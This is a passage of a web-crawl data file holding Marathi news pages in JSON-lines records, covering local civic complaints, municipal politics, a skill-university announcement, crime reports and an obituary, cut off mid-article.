सप्टेंबर या कालावधीत गांधीनगर...\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00442.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.esakal.com/mumbai/garbage-under-flyover-42884", "date_download": "2018-09-25T17:36:22Z", "digest": "sha1:FUMWE36EA3DEPQL5WMRMGWLB5EB472GG", "length": 13580, "nlines": 172, "source_domain": "www.esakal.com", "title": "garbage under flyover उड्डाणपुलाखाली राडारोडा! | eSakal", "raw_content": "\nसोमवार, 1 मे 2017\nबेलापूर - बेलापूर रेल्वेस्थानकाजवळ रेल्वे लाईनवरील उड्डाणपुलाखाली कचरागाड्या, गॅरेज, निकामी पेव्हरब्लॉक, दुभाजकाचे फुटलेले दगड, भंगार कचराकुंड्या पडल्या आहेत. रात्री येथे मद्यपी पार्ट्या करतात. विशेष म्हणजे त्यांच्यावर कारवाई करण्याकडे महापालिका दुर्लक्ष करते. त्यामुळे याचा त्रास शेजारच्या कार्यालयांतील कामगार आणि शहाबाजमधील रहिवाशांना सहन करावा लागत आहे.\nबेलापूर - बेलापूर रेल्वेस्थानकाजवळ रेल्वे लाईनवरील उड्डाणपुलाखाली कचरागाड्या, गॅरेज, निकामी पेव्हरब्लॉक, दुभाजकाचे फुटलेले दगड, भंगार कचराकुंड्या पडल्या आहेत. रात्री येथे मद्यपी पार्ट्या करतात. विशेष म्हणजे त्यांच्यावर कारवाई करण्याकडे महापालिका दुर्लक्ष करते. त्यामुळे याचा त्रास शेजारच्या कार्यालयांतील कामगार आणि शहाबाजमधील रहिवाशांना सहन करावा लागत आहे.\nनवी मुंबईतील शांत नोड म्हणून बेलापूर नोडची ओळख आहे; परंतु या नोडमध्ये नागरिकांना अनेक समस्यांचा सामना करावा लागत आहे. रेल्वेमार्ग ओलांडण्यासाठी बेलापूर येथे सिडकोने उड्डाणपूल बांधला आहे. या उड्डाणपुलाखाली कचरा वाहून नेणारी वाहने मोठ्या प्रमाणावर उभी केली जातात. कंत्राटदाराने येथे गॅरेज सुरू केले आहे. बेलापूर विभागातील जुन्या भंगार कचराकुंड्यांचा येथे ढीग लागला आहे. बेलापूर विभागात रस्त्यांची आणि पदपथांची कामे झाल्यावर निकामी झालेले पेव्हरब्लॉक आणि रस्ता दुभाजकाचे निकामी दगड व सिमेंटचे ब्लॉक येथे टाकले जातात. रात्री येथे मद्यपींच्या पार्ट्या सुरू असतात. या सर्व प्रकारामुळे या परिसराला बकाल रूप आले आहे. कचरा उचलणारी वाहने या पुलाखाली उभी असल्याने परिसरात दुर्गंधी पसरते. उड्डणपुलाच्या शेजारी सीबीडी, सेक्‍टर ११ मध्ये मोठ्या प्रमाणावर अनेक कंपन्यांची कार्यालये आहेत. तेथील कामगार आणि शहाबाज गावातील नागरिकांना याचा त्रास होतो. त्यामुळे यावर महापालिकेने कारवाई करावी, अशी मागणी नागरिकांनी केली आहे.\nउड्डाणपुलाखालील जागेचा पालिकेकडूनच गैरवापर होत आहे. या ठिकाणी रात्री मद्यपी पार्ट्या करीत असतात. शहाबाज गावातील नागरिकांना दुर्गंधीचा सामना करावा लागत आहे. त्यामुळे पालिकेने याकडे लक्ष देणे गरजेचे आहे.\n- भाऊसाहेब आव्हाड, रहिवासी, बेलापूर\nकचरा गोळा करणारी वाहने आणि उड्डाणपुलाखालील जागा पालिकेची मालमत्ता आहे. या ठिकाणच्या समस्यांबाबत कोणतीही तक्रार आलेली नाही. तशी कुणी तक्रार केली, तर कार्यवाही केली जाईल.\n- दादासाहेब चाबुकस्वार, उपायुक्त, परिमंडळ एक\n...अन् आजीबाई थोडक्यात बचावल्या\nमनमाड : दैव बलवत्तर म्हणून समोरून धडधडत येणारा काळ अगदी जवळून निघून गेला आणि आजीबाईच्या जीवात जीव आला. मनमाड रेल्वे स्थानकावर रेल्वे...\nदुष्काळातही शेतकरी आशावादी ; ज्वारीची पेरणी सुरू\nकरमाळा : करमाळा तालुक्‍यात पावसाने ओढ दिली आहे. खरिपाची पिके अक्षरशः करपून गेली. काहीही खरीप हाती लागले नाही. तरीही आशावाद जीवंत ठेवत शेतकऱ्यांनी...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00442.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Ahamadnagar/nager-muncipal-corporation-election-issue/", "date_download": "2018-09-25T17:36:20Z", "digest": "sha1:ARWG5OIO3TMI3WKZGM34TOXFNSMRTD4F", "length": 7527, "nlines": 51, "source_domain": "www.pudhari.news", "title": " लक्ष्य २०१८ अन् इच्छुकांची जत्रा! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Ahamadnagar › लक्ष्य २०१८ अन् इच्छुकांची जत्रा\nलक्ष्य २०१८ अन् इच्छुकांची जत्रा\nनगर : मुरलीधर तांबडे\nमहापालिकेची निवडणूक वर्षावर येऊन ठेपली असून, राजकीय वातावरण तापण्यास सुरुवात झाली आहे. ‘भावी’ नगरसेवकांची केडगावात लाट आली आहे. नगरसेवकपदाचे अनेकांना डोहाळे लागले आहेत. इच्छुक गुडघ्याला बाशिंग बांधून तयार असून, सोशल मीडियावर भलतेच अ‍ॅक्टिव्ह झाले आहेत. ‘लक्ष्य 2018’ चे उद्दिष्ट्य नजरेसमोर ठेवून कामाला लागले आहेत. ‘भावी नगरसेवक’ अशी उपमा लावत ‘चमकोगिरी’ करण्यास सुरुवात केली आहे.\nमहापालिकेची डिसेंबरमध्ये निवडणूक होणार आहे. अजून वर्ष बाकी असलेतरी ‘मेंबर’ होण्याची तरुणाईला ओढ लागली आहे. त्यादृष्टीने सगळेच कामाला लागले आहेत. वाढदिवसाचे कार्यक्रम मोठ्या प्रमाणात साजरे करून त्यातून स्वतःला ‘प्रोजेक्ट’ करण्याचे काम केले जात आहेत. फ्लेक्स, लग्न, फेसबुक, व्हॉटस् अ‍ॅप यातून स्वतःचे मार्केटिंग जोरात सुरू आहे. आपण या पदासाठी कसे ‘परफेक्ट’ आहेत, हे बिंबविण्याचा फंडा राबविण्यास सुरुवात झाली आहे. प्रभागांतील प्रलंबित प्रश्‍नांचा अनेकांना उमाळा आला आहे. त्यासाठी निवेदने, आंदोलने करत आपली बांधिलकी समाजप्रती असल्याचे दाखवून दिले जात आहे.\nमहापालिकेच्या यावेळेस होणार्‍या निवडणुकीतून एका प्रभागातून चार नगरसेवक निवडून द्यावयाचे आहेत. केडगावात सध्या आठ नगरसेवक आहेत. त्यामुळे दोन प्रभागांतून आठ नगरसेवक निवडून द्यावे लागणार आहेत. त्यामुळेे अनेकांनी आतापासून गुडघ्याला बाशिंग बांधले आहे. प्रभागरचना जाहीर होण्यास बराच वेळ बाकी आहे. ही रचना कशी होते, यावर बर्‍याच जणांचे उमेदवारीचे गणित अवलंबून राहणार आहेत, त्यात पुन्हा आरक्षण. हे सर्व विचारात घेऊन पुढील डावपेच आखण्याचे काहींचे काम सुरू आहे.\nकाँग्रेसचा बालेकिल्ला असलेल्या केडगावात शिवसेना, राष्ट्रवादी काँग्रेस, भाजपमध्ये इनकमिंग सुरू झाले आहे. जसजशी निवडणूक जवळ येईल तसतशी इनकमिंग, आऊटगोईंग होणार आहे. काहीही झाले तरी यंदा निवडणूक लढावायचीच, असा निर्धार करीत अनेकांनी मनाशी तयारी सुरू केली आहे. राजकीय वारे जसे वाहील, त्यावर निवडणुकीचे वातावरण तापणार आहे.\nतिहेरी तलाक विधेयकास सर्वपक्षीयांनी पाठिंबा द्यावा\nअवैध धंद्यांमुळे वाढले टोळीयुद्ध\nलक्ष्य २०१८ अन् इच्छुकांची जत्रा\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00442.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Belgaon/7-Skill-Development-Universities-across-the-country/", "date_download": "2018-09-25T17:31:39Z", "digest": "sha1:I2WX2JSWYPSXHNPFJ37PVHKMUG5E2732", "length": 4799, "nlines": 36, "source_domain": "www.pudhari.news", "title": " देशभरात सात कौशल्यविकास विद्यापीठे | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Belgaon › देशभरात सात कौशल्यविकास विद्यापीठे\nदेशभरात सात कौशल्यविकास विद्यापीठे\nबेळगावमध्ये कौशल्य विकास केंद्र महाविद्यालयाची स्थापना करण्यात येणार आहे. देशभरात एकूण सात ठिकाणी अशा प्रकारची कौशल्ये विकास विश्‍वविद्यालयांची स्थापना करण्यात येणार आहे. यासाठी विविध ठिकाणी माहिती संग्रहित करण्यात येत आहे. असल्याची माहिती केंद्रीय कौशल्य विकास राज्यमंत्री अनंतकुमार हेगडे यांनी दिली.\nकौशल्य विकास केंद्राच्या माध्यमातून केंद्र सरकारने युवकांना रोजगार उपलब्ध करुन देण्यासाठी प्रत्येक जिल्हा केंद्रामध्ये कौशल्य विकास केंद्राची स्थापना करण्याच येईल. त्याशिवाय एकूण सात कौशल्य विकास विद्यापीठांची स्थापना करण्यात येणार असल्याचे हेगडे यांनी सांगितले.\nकर्नाटकामध्ये कौशल्य विकास विद्यापीठ स्थापन करण्यासाठी जनतेचा आणि युवकांचा अभिप्राय घेतला जात आहे. आयआयटीच्या धर्तीवर हे विद्यापीठ सुरू करण्याचे प्रयत्न सुरू आहेत. याप्रसंगी भाजप महानगर अध्यक्ष राजेंद्र हरकुणी, राज्य कार्यकारिणी सदस्य अनिल बेनके, महानगर उपाध्यक्ष मुरुघेंद्रगौडा पाटील, वल्लभ गुणाजी यांच्यासह कार्यकर्ते व पदाधिकारी उपस्थित होते.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00442.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/state-economics-minister-sudhir-mungantiwar-reaction-on-shivsenas-stand-on-alliance/", "date_download": "2018-09-25T17:34:32Z", "digest": "sha1:VK44TEOLOLTVGBARYMWXAISBJFONUQSM", "length": 4397, "nlines": 37, "source_domain": "www.pudhari.news", "title": " युती ही भाजपची मजबुरी नाही : मुनगंटीवार | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › युती ही भाजपची मजबुरी नाही : मुनगंटीवार\nयुती ही भाजपची मजबुरी नाही : मुनगंटीवार\nआगामी निवडणुकांत युती व्हावी यासाठी कोणाचाही कुणावर दबाव नाही. युती ही भाजपाची मजबुरी नाही, शिवसेनेला जर वेगळं लढायचं असेल आणि त्यांची भूमिका भाजपला सोबत घ्यायचं नाही अशीच असेल तर आम्ही देखील वेगळं लढण्यासाठी तयार आहोत, असे अर्थमंत्री सुधीर मुनगंटीवार यांनी सांगितले.\nयुतीचा निर्णय भावनेवर आधारित नाही, तर तर्क व आकड्यांवर होईल, तुर्तास तरी या विषयावर दोन्ही बाजूच्या नेत्यांत कोणतीही चर्चा सुरु नसल्याचे त्यांनी स्पष्ट केले.\nनाणार विषयी बोलताना ते म्हणाले की, नाणार प्रकल्प महाराष्ट्रात व्हायचा नसेल तर गुजरातला आंदण द्यायचा का गुजरात 1 लाख रोजगार देणाऱ्या या प्रकल्पाचे स्वागतच करेल. या प्रकल्पामुळे पर्यावरणाचे नेमके काय आणि कितपत नुकसान होणार हे देखील समजून घेण्याची गरज असून केवळ विरोधाला विरोध नसावा असे आपले मत असल्याचे त्यांनी सांगितले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00442.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/father-arrested-for-raping-his-own-daughter-in-pune/", "date_download": "2018-09-25T17:55:30Z", "digest": "sha1:43MSOERHIXFNIAOBF6FYBZV4L4KWUBIA", "length": 5391, "nlines": 37, "source_domain": "www.pudhari.news", "title": " स्व:ताच्याच मुलीवर बलात्कार करणाऱ्या नराधम बापास अटक | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › स्व:ताच्याच मुलीवर बलात्कार करणाऱ्या नराधम बापास अटक\nस्व:ताच्याच मुलीवर बलात्कार करणाऱ्या नराधम बापास अटक\nपोटच्या स्व:ताच्याच १६ वर्षांच्या मुलीवर बलात्कार करणाऱ्या नराधम बापास अटक करण्यात आली आहे. माणुसकीला आणि नात्याला काळीमा फासणारी ही घटना धायरी, पुणे येथे घटली आहे. याप्रकरणी नराधम सुहास नामदेव सिंडगीधी (वय ५२ रा. लायगुडे बील्डींग, धायरी, पुणे) यास सिंहगड पोलीसांनी जेरबंद केले.\nयाबाबत पोलिसांकडून मिळालेली माहिती अशी, सुहास सिंडगीधी याचा टेलरींगचा व्यवसाय आहे. त्याच्या पत्नीचे ४ वर्षापुर्वी निधन झाले आहे. तो आपल्या ३ मुलींसमवेत राहत होता. त्यापैकी दोन मुलींची लग्न झाली आहेत. तर सध्या तो १६ वर्षांची असलेल्या आपल्या लहान मुली सोबत राहत होता.\nसिंडगीधी याचे घरात असभ्य वर्तन होते. तो घरी लहान मुलगी असताना देखील नग्न अवस्थेत वावरत होता. तर आपली वासना भागवण्यासाठी तो स्वताच्या १६ वर्षीय मुलीवर अतिप्रसंग करायचा. ही बाब या मुलीने आपल्या शेजारी राहत असलेल्या संबंधितास सांगितली. शेजाऱ्यांनी या मुलीस विश्वासात घेत पोलिस ठाण्यात धाव घेत हा सविस्तर प्रकार सांगितला. यांची माहिती होताच नराधम सिंडगीधी याने घरातून पलायन केले. पोलिसांनी यासंबंधीची तक्रार नोंदवत सिंडगीधी यास अटक केली. माणुसकीला काळीमा फासणारा हा प्रकार उघडकीस आल्याने शहरात एकच गोंधळ उडाला. या घटनेचा अधिक तपास सिंहगड पोलिस करीत आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00442.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/editorial/column/young-achivers/articlelist/45736587.cms", "date_download": "2018-09-25T18:09:59Z", "digest": "sha1:2LTHGKMECUMOOZLKHIIGQ3KAH3BNZ5LH", "length": 8908, "nlines": 171, "source_domain": "maharashtratimes.indiatimes.com", "title": "Maharashtra Times", "raw_content": "\nशिळ घालत संवाद साधणाऱ्या गावची कथा\nशिळ घालत संवाद साधणाऱ्या गावची कथाWATCH LIVE TV\n२०१३मध्ये मे महिन्यात महाराष्ट्र दुष्काळाने होरपळत होता. सरकार आणि इतर यंत्रणा दुष्काळ निवारण्यासाठी युद्धपातळ्यांवर कामे करत होते. यात आपणही खारीचा वाटा उचलायला हवा, या भावनेतून त्याने त्याच्या सवंग...\nइंजिनीअर्सचा आदर्श मार्गदर्शकUpdated: May 13, 2016, 12.36AM IST\nवाळूच्या विश्वातला किमयागारUpdated: Feb 20, 2016, 12.12AM IST\nपाड्यावरची डिजिटल स्कूलची क्रांतीUpdated: Dec 12, 2015, 04.00AM IST\nसई ताम्हणकर आता 'अशी' दिसतेय\nशनाया निघाली न्यूयॉर्कला, चैन पडेना...\nसापानं लढवलेली युक्ती पाहून थक्क व्हाल\n'तुला पाहते रे'मधील ईशा नेमकी आहे कोण\nतेलंगाणा: विसर्जनावेळी क्रेनचा हूक तुटून अपघा...\n'ही' अभिनेत्री साकारणार शनाया\nयुवा मुद्रा याा सुपरहिट\nगुजरातचा व्यापारी ५ हजार कोटी घेऊन पळाला\nजेट एअरवेजमधील प्रवाशांच्या नाका-कानातून रक्त\nपुण्यात २ अल्पवयीन मुलींवर बलात्कार, एकीचा मृत्यू\nदलित तरुणाशी लग्न; बापानं मुलीचा हात तोडला\nगुद्द्वारात हवा सोडली; कामगाराचा मृत्यू\nमटा न्यूज अॅलर्ट सबस्क्राइब करा\nदिवसभरातील ठळक बातम्या पाहा तुमच्या डेक्सस्टॉपवर\n*केव्हाही ब्राउजर सेटिंग्ज बदलून नोटिफिकेशन्स ऑफ करू शकता.\nमटा ऑनलाइन च्या अॅपसोबत\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00442.warc.wet.gz", "language": "mr", "language_score": 0.61, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/maharashtra/nashik-north-maharashtra-news/nashik/jalgaon-democracy-dr-s-sarwar-chand-oswal-required/articleshow/65493332.cms", "date_download": "2018-09-25T18:09:49Z", "digest": "sha1:VB4FTMNEMNBE27FZ2FMNL6L3WRX2J2WE", "length": 9130, "nlines": 139, "source_domain": "maharashtratimes.indiatimes.com", "title": "Nashik News: jalgaon - democracy - dr. s. sarwar chand oswal (required) - जळगाव-निधनवार्ता -डॉ.स्वरुपचंद ओसवाल( आवश्यक) | Maharashtra Times", "raw_content": "\nशिळ घालत संवाद साधणाऱ्या गावची कथा\nशिळ घालत संवाद साधणाऱ्या गावची कथाWATCH LIVE TV\nजळगाव-निधनवार्ता -डॉ.स्वरुपचंद ओसवाल( आवश्यक)\nजळगाव : येथील डॉ. स्वरुपचंद प्रेमराज ओसवाल यांचे मंगळवारी (दि. २१) गणपती हॉस्पिटल येथील राहत्या घरी संथारा व्रतात निधन झाले. सायंकाळी नेरीनाका येथील वैकुंठधाम येथे त्यांच्यावर अंत्यसंस्कार करण्यात आले. डॉ. स्वरुपचंद ओसवाल मूळ शेंदुर्णी येथील रहिवासी होते. ते संदीप व डॉ. शितल ओसवाल यांचे वडील तसेच शांतीलाल व पोपटलाल ओसवाल यांचे मोठे बंधू होत.\nमिळवा नाशिक बातम्या(Nashik + North Maharashtra News News in Marathi) से मराठी बातम्या( Marathi News) तुमच्या मोबाइलवर मिळवण्यासाठी डाउनलोड करा Marathi News App ...आणि प्रत्येक बातमीबाबत राहा अपडेट\nNashik + North Maharashtra News News याच्याशी संबंधित ताजे अपडेट्स मिळवण्यासाठी मटा ऑनलाइनचे फेसबुक पेज लाइक करा\nसई ताम्हणकर आता 'अशी' दिसतेय\nशनाया निघाली न्यूयॉर्कला, चैन पडेना...\nसापानं लढवलेली युक्ती पाहून थक्क व्हाल\n'तुला पाहते रे'मधील ईशा नेमकी आहे कोण\nकोहली, मीराबाई खेलरत्न पुरस्काराने सन्मानित\nराजस्थानच्या मुख्यमंत्र्यांच्या सुरक्षा रक्षकाने चोरले पैसे\nमुस्लिम मुलासोबत प्रेमसंबंध; पोलिसांची तरुणीला मारहाण\nपती दिसायला सावळा, पत्नीने किस करताना चावली जीभ\nमेणबत्तीच्या प्रकाशात रुग्णांना तपासण्याची सक्ती\n मार्क्स वाढवून देण्यासाठी सेक्सची मागणी\nसाईनगर एक्स्प्रेसवर दरोडा; ८ लाखांची लूट\n'ब्राम्हण मुख्यमंत्री पंचांग बघून मंत्रिमंडळ विस्तार करतील'\nदुटप्पी भूमिका घेऊ नका\nमटा न्यूज अॅलर्ट सबस्क्राइब करा\nदिवसभरातील ठळक बातम्या पाहा तुमच्या डेक्सस्टॉपवर\n*केव्हाही ब्राउजर सेटिंग्ज बदलून नोटिफिकेशन्स ऑफ करू शकता.\nमटा ऑनलाइन च्या अॅपसोबत\n1जळगाव-निधनवार्ता -डॉ.स्वरुपचंद ओसवाल( आवश्यक)...\n2हैदराबाद, गोवा होणार कनेक्ट...\n3सतरा मजलीत हॉलिडे फिव्हर...\n4अपघातात आई ठार; मुलगा बचावला...\n5केरळच्या पूरग्रस्तांसाठी मदतीचे आवाहन...\n6महापालिकेने हटविली शहरातील अतिक्रमणे...\n7मांजरपाड्याच्या कामासगती देण्यासाठी प्रयत्नशील...\n8खोटा नागमणी विकला दीड लाखांना...\n10विकासासाठी मनपाला १०० कोटीचा निधी", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00442.warc.wet.gz", "language": "mr", "language_score": 0.73, "bucket": "all"} {"url": "http://www.saamana.com/article-by-nilesh-kulkarni/", "date_download": "2018-09-25T17:34:38Z", "digest": "sha1:J4DK322MEMRXUGNGL54IONVX3I4ERLWD", "length": 22238, "nlines": 257, "source_domain": "www.saamana.com", "title": "दिल्लीतील लक्ष्मणराव | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा…\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानला दुसरा धक्का\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nराजधानी दिल्लीत तशी मराठी माणसांची नावे रस्त्याला असणे ही एक दुरापास्त गोष्ट, पण राजधानीतील महत्त्वाच्या आयटीओ चौकाजवळ आपण गेलो की, संगीतकार विष्णू दिगंबर पलुस्करांच्या नावाचा रस्ता लागल्यानंतर आपल्याला मुंबई किंवा पुण्यात फिरत असल्याचा भास होतो. अर्थात त्याच रस्त्यावर हिंदी सारस्वतांनी बांधलेले हिंदी भवन असल्याने आपल्या मराठी भावविश्वाला थोडा झटका नाही म्हटला तरी बसतोच. मात्र 